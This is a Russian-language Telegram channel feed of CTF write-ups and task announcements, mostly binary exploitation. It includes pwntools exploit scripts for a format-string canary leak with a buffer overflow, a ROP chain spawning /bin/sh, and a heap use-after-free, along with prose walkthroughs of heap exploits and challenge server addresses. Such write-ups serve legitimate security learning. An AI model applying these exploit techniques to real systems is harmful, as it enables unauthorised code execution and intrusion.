Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#pwn
PolyCTF. Write-up "upcoming_flight" от @wcovkej

Первым делом смотрим наш файл через checksec и понимаем, что PIE выключен, зато есть канарейка.

Чтобы получить флаг, нам нужен билет, но получить мы его не можем. Посмотрим код программы внимательнее и увидим, что в нем есть две уязвимости: Форматная строка и переполнение буфера (использование небезопасной функции gets)

В функции print_ticket c помощью printf сможем ликнуть канарейку, а дальше уже переполнить буфер и вызвать функциию arrive, только не с начала, а прямо с строки system("cat flag");

Окей, погнали писать сплоит:
from pwn import *

io = remote('tasks.polyctf.ru', 30007)

addr_win = 0x40136D #Адрес строки system("cat flag")

io.recvuntil(b'> ')
io.sendline(b'2') #Вызываем функцию print_ticket
io.recvuntil(b': ')
io.sendline(b'%15$p') #Вместо ФИО отправляем форматную строку, которая выдаст нам канарейку
io.recvuntil(b': ')
canary = int(io.recvline()[:-1], 16)
print("[DEBUG] >>> Canary leak: ", hex(canary))
io.recvuntil(b': ') #Далее, вместо посадочного талона, засылаем наш сплоит
pl = b'A' * 40 # Падинг. Переполняем буфер
pl += p64(canary) # Засылаем канарейку, чтобы программа не выдала нам ошибку
pl += b'B' * 8 # RBP
pl += p64(addr_win)
io.sendline(pl)

io.interactive()

Круто! Получаем флаг: PolyCTF{иди решай, хитрец} и идем пить чай :)
27👍2
exploit.py
1.1 KB
#pwn
PolyCTF. Write-up "Luxury" от @wcovkej

Итак, первым делом проверим наш файл через checksec:

RELRO           STACK CANARY      NX            PIE            RPATH      RUNPATH      Symbols         FORTIFY

Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   49 Symbols        No

Канарейки нет, уже хорошо, но зато включен PIE, значит адреса функций каждый раз разные. Запомним.

Теперь кратко разберем, как работает программа:

1) Просит ввести пароль и логин. В данном случае логин - admin, пароль - V3rY_sTroNg_p1ss

2) Как только мы залогинились, у нас доступен основной функционал: вывод адресов функций, в том числе и функции login.

Если мы хорошо посмотрим, то в функции login есть переполнение буфера, а именно на вводе пароля. Массив под пароль 32 байта, а вводим мы 112. Также через ropper узнаем, что в таске есть аж целых 5 гаджетов! pop (rdi, rsi, rdx, rax), а также syscall. Интересно, но что дальше?

Наша цель - вызвать /bin/sh. Для этого нам нужно построить ROP цепочку: загрузить в rax число 0x3b (execve), в rdi адрес строки /bin/sh, rsi и rdx занулить, вызвать syscall ===> получаем шелл! Но не всё так просто :)

Во-первых, мы не знаем точных адресов гаджетов (включен PIE), во-вторых, в коде нет строки /bin/sh, поэтому нам нужно взять ее из libc, а для этого нужно ее ликнуть.

Эксплоит я отправлю отдельно файлом, здесь я вкратце распишу его алгоритм:

1) Логинимся, далее получаем адрес printf, puts, fgets и идем в libc.blukat.me, вбиваем все три функции, указываем последние три символа адресов и находим версию LIBC. Таким образом мы определили точную версию либы и теперь знаем все смещения. Прибавляем к адресу printf число 0x143a81 и получаем адрес строки /bin/sh.

2) Далее нам нужно узнать адреса гаджетов. Для этого получаем адрес функции login и вычитаем его оффсет, который взяли из IDA. Вычитаем 0x1179 и получаем адрес базы программы. Теперь вычисляем адреса для всех 5 гаджетов:

pop_rdi = base_addr + 0x1460
pop_rax = base_addr + 0x1464
pop_rsi = base_addr + 0x1462
pop_rdx = base_addr + 0x1468
syscall = base_addr + 0x1466

3) Всё готово! Теперь составляем пейлоад и отправляем серваку:

pl = b'A' * 40
pl += p64(pop_rax)
pl += p64(0x3b)
pl += p64(pop_rdi)
pl += p64(binsh_addr)
pl += p64(pop_rdx)
pl += p64(0)
pl += p64(pop_rsi)
pl += p64(0)
pl += p64(syscall)

Получаем шелл и читаем флаг. Nice!
10
writeup.md
3.7 KB
#pwn
PolyCTF. Write-up "hotel" от @tonysdx

Задача на эксплуатацию хипы, а именно UAF и Type Confusion.

Зайдя в таск и немного пореверсив, мы обнаруживаем, что у нас есть следующая структура:
struct user
{
  char gap[16];
  long some_number;
  char *login;
  char *password;
};

В функциях регистрации и логина уязвимостей нет (разве что введя 128-байтовый пароль, мы можем переписать первый байт логина на 0, но это нам ничего не даст), копаем дальше.

Также есть функция read_secret, при вызове которой проверяется, что some_number у curr_user равен 31337. Легально мы получить такое значение не можем, поэтому надо эксплуатировать чанки.

Главная уязвимость кроется в функции delete_user. Суть в том, что для пользователя выделяется чанк, размером в 40 байт. Однако при удалении, мы не выходим из аккаунта и поинтер curr_user после освобождения при помощи free указывает на освобожденный чанк.

Просмотрев код далее мы находим, что в функции write_msg мы можем контролировать размер выделяемого под сообщение чанка, что открывает возможность для эксплуатации ранее найденной уязвимости. Суть в том, что на месте освобожденного чанка при следующем вызове malloc будет аллоцирован новый чанк, если там будет достаточно места. В нашем случае, освобождая чанк размером в 40 байт, мы можем аллоцировать чанк сообщения с таким же размером (чтобы места точно хватило), и тогда curr_user будет указывать на новый чанк сообщения, данные внутри которого мы контролируем. То есть в теле сообщения мы можем создать фейковую структуру пользователя, у которого some_number будет равен 31337.

Алгоритм следующий:

1) Регистрируемся и заходим в аккаунт
2) Удаляем пользователя
3) Создаем сообщение размером в 40 байт (такое же по размеру, как и чанк пользователя)
4) В сообщении создаем структуру пользователя, у которого some_number равен 31337
5) Вызываем скрытый 5 пункт меню, проходим проверку и получаем флаг

Пример сплоита:
io = remote("host", port)

def choice(index: int):
    io.sendlineafter(b"> ", b"%d" % index)

# Register
choice(2)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")

# Login
choice(1)
io.sendlineafter(b": ", b"h4ck3r")
io.sendlineafter(b": ", b"h4ck3r")

# Delete user
choice(3)

# Create message with size as user
user_struct = flat({
    0: b"chill guy",
    16: p64(31337)
})
choice(1)
io.sendlineafter(b": ", b"40")
io.sendlineafter(b": ", user_struct)

# Secret read flag
choice(5)

io.interactive()
13
Ура, ура, ура! Долгожданный незаезженный PWN!

#pwn
chemistry-teacher👨🏻‍🔬

Мой учитель химии побрился налысо, отрастил бороду, надел шляпу и начал очень странно разговаривать...

45.12.114.80:32001


Автор: @s41nt0l3xus

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍62🔥2
#pwn
undefined-pointer
🧑‍💻

Один Дед на курсах программирования всегда подчеркивал важность инициализации переменных при их объявлении. Думаю, ничего страшного не произойдет, если я сделаю это позже.

45.12.114.80:32000


Автор: @s41nt0l3xus

После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3👌1
#pwn
rock-n-rollback 🪓

Теперь нет необходимости запоминать указатели и вызывать free!

45.12.114.80:32002


Автор: @s41nt0l3xus

После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2🌭2
#pwn
write-to-rce-2-40 💻

Не нажимай меня!

45.12.114.80:32003


Автор: @s41nt0l3xus

После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1🥰1👌1
task.zip
3.3 KB
Этим постом мы начинаем серию заданий, посвященных эксплуатации бинарных уязвимостей echo-сервиса. Я уже справился с задачкой, так что догоняйте, киберкотлеты!

#pwn
echo-backdoor-easy

Начальник поручил мне написать echo-сервис. Старый дурак не хочет повышать мне зарплату, поэтому я оставлю в сервисе бэкдор!

45.12.114.80:33000


Автор: @s41nt0l3xus

После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍3🔥1
task.zip
3.4 KB
#pwn
echo-backdoor-medium

Это второй таск из серии echo
Вот
первый

Похоже, что бэкдор оказался слишком простым в эксплуатации. Думаю, стоит добавить птичью защиту!

45.12.114.80:33001

Автор: @s41nt0l3xus

После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
task.zip
3.5 KB
#pwn
echo-backdoor-hard

Это третий таск из серии echo
Вот
первый, a вот второй

Добавлю-ка я в бэкдор немного случайности!

45.12.114.80:33002


Автор: @s41nt0l3xus

После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
task.zip
951.6 KB
#pwn
echo-backdoor-ultimate

Это четвертый таск из серии echo
Вот
первый, вот второй, а вот третий

Мой начальник посчитал функцию с названием backdoor подозрительной и настоял на её удалении. Старый дурак так ничего и не понял, ROP-цепочку ему в ***!

45.12.114.80:33003


Автор: @s41nt0l3xus

После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1👌1
task.zip
1.1 MB
#pwn
in-malloc-we-trust

Какие же глупые ошибки совершают разработчики, создавая CRUD-программы! Я уверен, что ошибок не допустил!

nc 45.12.114.80 32004


https://www.youtube.com/watch?v=1stQbTuUBIE

Автор: @s41nt0l3xus

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4👌1
task.zip
1.1 MB
#pwn
biba-and-boba

Всех занулили... Остались только Биба и Боба.

nc 45.12.114.80 32005


Автор: @s41nt0l3xus

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6👌1
public-climb-the-mountain.tar.gz
6 MB
Не так давно в открытом доступе появились все необходимые инструменты для самостоятельной компиляции и запуска программ для Эльбрус на своих x86 хостах. Ну что же, это отличный повод проверить, как классические бинарные уязвимости выглядят и эксплуатируются на этой архитектуре!

#pwn #эльбрус
climb-the-mountain

Достаточно ли ты силен, чтобы забраться на гору?

nc 45.12.114.80 32008


book | guide | toolchain

Автор: @s41nt0l3xus

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥4👌1💊1
🚨 Ой, а сейчас будет жирно!

Райтап на задание Капибатл, который решили всего ТРИ команды!

@hate_it_here, спасибо! ❤️

#pwn #linux #bpf #lpe #tctf2025
Капибатл

Описание задания:

Сегодня пройдет финал битвы огромных робокапибар. Сражения идут врукопашную. Некоторые игроки прознали, что у фаворита CAPY-9000 встроена ЭМ-пушка, которая выключает соперника. Это запрещено правилами. Взломайте робота CAPY-9000, найдите пушку и выключите ее.

ssh t-battle-ux658nop.spbctf.org
Username: battle
Password: 273V7UVE6QCV2XuuYsAvCA

Исходники: capybattle_7571838.tar.gz

Нерегламентированная ЭМ-пушка выключается командой /bin/deactivate


Райтап: https://blog.nekoea.red/posts/tctf25-capybattle-writeup/

Материалы задания и решения: https://meowgit.nekoea.red/nihonium/tctf25_capybattle_writeup

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
13🔥10👍4
Эй, народ! @s41nt0l3xus поделился с нами крутым райтапом на интересный hard pwn, который был на недавнем SAS CTF 2025 Quals! Речь про таск Broken Trust! Райтап большой, поэтому автор залил его на гитхаб. Обязательно загляните, будет интересно!

#pwn #writeup #sasctf2025

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍3🤯3
@s41nt0l3xus снова делится с нами райтапом на hard pwn с SAS CTF 2025 Quals — на этот раз разбирает таску Trust Issues. Райтап большой, поэтому автор залил его на гитхаб.

Кстати, райтап на Broken Trust мы выкладывали вот здесь.

#pwn #writeup #sasctf2025

💬 Канал & Чат & Бот с тасками | 📺RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥5
little_sploit.py
4.4 KB
#pwn #kasperskyctf2025
Kaspersky{CTF} - beta-test, 478 points от @tonysdx

💡Идея:
У нас есть приложение, где можно создавать storages, с items внутри. Также можно редактировать контент внутри items и удалять их.
В storage у нас есть счетчик items, который при достижении 0, освобождает весь storage.
Также у нас есть feedback, который аллоцируется при первом вызове функции leave_feedback. После того как он аллоцирован, мы можем только редактировать содержимое его строки, которая хранится в отдельном чанке на хипе.

👹 Уязвимость:
1. Use-after-free — когда storage освобождается, его указатель остаётся в массиве storages_arr.
2. Downcasting размера описания item — если мы вводим описание длиной 255, программа преобразует его к 0.
3. Off-by-one — если у item описание нулевого размера, программа запишет нулевой байт за пределами буфера (size_of_buffer - 1). Именно там в структуре item хранится индекс storage.
4. Uninitialized variable output — если мы введём что-то некорректное в меню, программа выведет неинициализированную переменную со стека.

💉 Эксплуатация:
1. Ликаем адрес стека, введя некорректный пункт меню — например, something_wrong.
2. Создаём storage #0 размером с feedback control chunk — 0x10 и item с описанием того же размера.
3. После создания storage, если ввести неверный пункт в меню, получаем leak адреса бинарника.
4. Заполняем 0x20 tcache bin, аллоцируя 2 storages с описанием storage (размер - 1 байт) и описанием item (размер - 0x10 байт). readstr2 очень быстро заполнит tcache, так как всё в задаче использует calloc, который не может переиспользовать chunk из tcache и постоянно берет новые чанки.
5. Освобождаем item #0 — это будет 7-й chunk в 0x20 tcache bin. Поскольку счётчик items в storage #0 станет равен 0, он тоже освободится, и его указатель попадёт в fastbin.
6. Аллоцируем структуру feedback — она должна взять fastbin chunk для control chunk, так что теперь у нас есть указатель на неё в storage_arr[0].
7. С этого момента мы можем декрементировать указатель feedback, используя вторую и третью уязвимости. Также у нас появляется read/write примитив по адресу, на который указывает control chunk feedback. Однако в данный момент мы можем двигаться только назад, уменьшая на единицу указатель.
8. Начинаем декрементировать указатель, аллоцируя items с описанием длиной 255. После аллокации нужно вызвать update для этих chunks, и так как размер item'а равен 0 (из-за downcasting), нулевой байт запишется до буфера, а именно в поле индекса storage.
9. После удаления этих обновлённых нулевых по размеру chunks мы уменьшаем на единицу первые 8 байт нулевого хранилища. А это указатель на строку в feedback's control chunk.
10. Наша главная цель — декрементировать указатель feedback так, чтобы он указывал сам на себя, и тогда мы сможем переписать его на любой другой адрес.
11. В любой момент мы можем вызвать функцию leave_feedback, и она выведет байты с текущего указателя, так что по пути собираем mangled heap key.
12. Для раскодирования mangled адресов используем функцию моего эксплойта crack_mangle_addr.
13. Наша задача сделать так, чтобы при помощи обновления item мы могли изменять поинтер строки feedback. Для этого дойдя до control chunk нашим указателем строки, мы переписываем его же на указатель на control chunk в сегменте самого бинаря.
14. Аллоцируем ещё один storage любого размера и 1 item размером меньше 255. Считаем его адрес, используя раскодированный heap-адрес выше и смещение от начала сегмента.
15. Аллоцированный item на шаге 14 будет chunk’ом для управления указателем feedback. Переписываем адрес control chunk feedback в бинарнике на наш контролируемый chunk (не забудьте добавить смещение — первые 2 байта items очень сложно обновить). Теперь можно обновить item с 14 шага, и он перепишет указатель на строку feedback. Мы получили AR/AW!
16. Ликаем libc через GOT-table, считаем адрес RSP при возврате из AW-функции эксплойта и кладём ROP на стек.
17. cat flag.txt

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12😱432
writeup_sploit.py
671 B
#pwn #kasperskyctf2025
Kaspersky{CTF} - flag-what-where, 50 points от @tonysdx

💡 Идея:
Бинарник считывает флаг на stack через функцию fgets, а затем затирает его с помощью memset.
После этого у нас есть 3 попытки прочитать произвольные байты памяти по заданному адресу, после чего программа завершается.

👹 Уязвимость:
Функция fgets, как и многие другие функции из glibc, при чтении строки из stdin использует буферы на heap.
Поэтому часть флага можно найти в heap-памяти.

Почему только часть, а не весь флаг?
Потому что fgets освобождает буфер после завершения работы, и первые N байт затираются служебными данными.

Кроме того, бинарник собран без PIE, так что вычислить необходимые смещения не представляет труда.

💉Эксплуатация:
1. Помещаем cyclic(128) в файл flag.txt, патчим бинарник на использование тех же библиотек, что и в docker-контейнере, и запускаем в gdb.
2. Используем команду search -t bytes "aaaa".
3. Находим участок heap, где лежит часть флага, и вычисляем смещение от начала сегмента heap.
4. Получаем leak libc через GOT-table, leak heap из main_arena, и читаем данные по рассчитанному на шаге 3 смещению.

📝 Заметки:
Сначала я думал, что придётся искать первую часть флага, которая затирается, где-то еще. Но организаторы предусмотрели это: весь флаг оказался доступен в heap.
Я просто вычел 16 из изначально вычисленного смещения и получил полный флаг.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
112🔥1
writeup_sploit.py
771 B
#pwn #kasperskyctf2025
Kaspersky{CTF} - Translator, 50 points от @tonysdx

💡 Идея задачи:
Бинарник читает 16 байт из /dev/random, вычисляет их хэш с помощью SHA512, затем XOR'ит байты флага с этим хэшем, выводит результат и предлагает угадать флаг.
При этом у нас есть всего 10 попыток для ввода правильного ответа.

👹 Уязвимость:
1. В функции main есть off-by-one уязвимость в scanf, что позволяет перезаписать счётчик попыток нулевым байтом и тем самым получить неограниченное количество попыток.
2. Бинарник никогда не закрывает файловые дескрипторы, поэтому их можно открывать сколько угодно.
3. В функции read_file индекс файлового дескриптора приводится к типу int8.

💉 Эксплуатация:
1. Сначала открываем 255 файловых дескрипторов, используя первые две уязвимости.
2. Когда бинарник откроет 256-й дескриптор, downcast превратит его индекс в 0, и чтение произойдёт не из /dev/random, а из stdin.
3. Теперь бинарник будет вычислять SHA512 не от случайных байтов, а от нашего ввода.
4. Достаточно передать константную строку (например, b"A" * 16), вычислить её SHA512-хэш (или просто вынуть его из отладчика), а затем сделать XOR байтов вывода программы и байтов известного хэша — и мы получаем флаг.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
10🔥42
public-rock-n-rollback.tar.gz
953.6 KB
#pwn
rock-n-rollback 🪓

Теперь нет необходимости запоминать указатели и вызывать free!

45.12.114.80:32002


Автор: @s41nt0l3xus

После получения шелла, помимо флага, можно забрать с сервера и intended решение в виде скрипта.

Зеркало тасков

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
6